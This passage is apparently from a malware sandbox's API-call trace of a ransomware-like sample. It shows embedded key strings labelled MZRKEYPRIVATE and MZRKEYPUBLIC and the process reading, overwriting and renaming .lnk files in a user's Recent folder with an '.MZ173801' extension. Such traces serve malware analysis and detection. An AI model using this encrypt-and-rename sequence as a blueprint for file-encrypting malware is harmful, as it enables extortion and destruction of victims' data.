lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0147.684] GetCurrentThreadId () returned 0xab4 [0147.684] GetCurrentThreadId () returned 0xab4 [0147.684] GetCurrentThreadId () returned 0xab4 [0147.684] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0147.684] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0147.684] GetCurrentThreadId () returned 0xab4 [0147.684] GetCurrentThreadId () returned 0xab4 [0147.684] GetCurrentThreadId () returned 0xab4 [0147.684] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\i5uD5Xoo.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\i5ud5xoo.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.684] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0147.684] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.685] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x27e [0147.685] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.685] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x27e, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x27e, lpOverlapped=0x0) returned 1 [0147.685] CloseHandle (hObject=0x280) returned 1 [0147.685] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\i5uD5Xoo.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\i5ud5xoo.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.687] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x27e, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x27e, lpOverlapped=0x0) returned 1 [0147.689] CloseHandle (hObject=0x280) returned 1 [0147.690] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\i5uD5Xoo.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\i5ud5xoo.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\i5uD5Xoo.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\i5ud5xoo.lnk.mz173801")) returned 1 [0147.992] GetCurrentThreadId () returned 0xab4 [0147.992] GetCurrentThreadId () returned 0xab4 [0147.992] GetCurrentThreadId () returned 0xab4 [0147.993] GetCurrentThreadId () returned 0xab4 [0147.993] GetCurrentThreadId () returned 0xab4 [0147.993] GetCurrentThreadId () returned 0xab4 [0147.993] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60bd7ffc, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x60bd7ffc, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x60bd7ffc, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x277, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="IDF-wgV.lnk", cAlternateFileName="")) returned 1 [0147.993] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0147.993] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0147.993] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\IDF-wgV.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\idf-wgv.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60bd7ffc, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x60bd7ffc, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x60bd7ffc, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x277)) returned 1 [0147.993] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\IDF-wgV.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\idf-wgv.lnk")) returned 0x20 [0147.993] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\IDF-wgV.lnk", dwFileAttributes=0x80) returned 1 [0147.995] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0147.995] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0147.995] GetCurrentThreadId () returned 0xab4 [0147.996] GetCurrentThreadId () returned 0xab4 [0147.996] GetCurrentThreadId () returned 0xab4 [0147.996] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 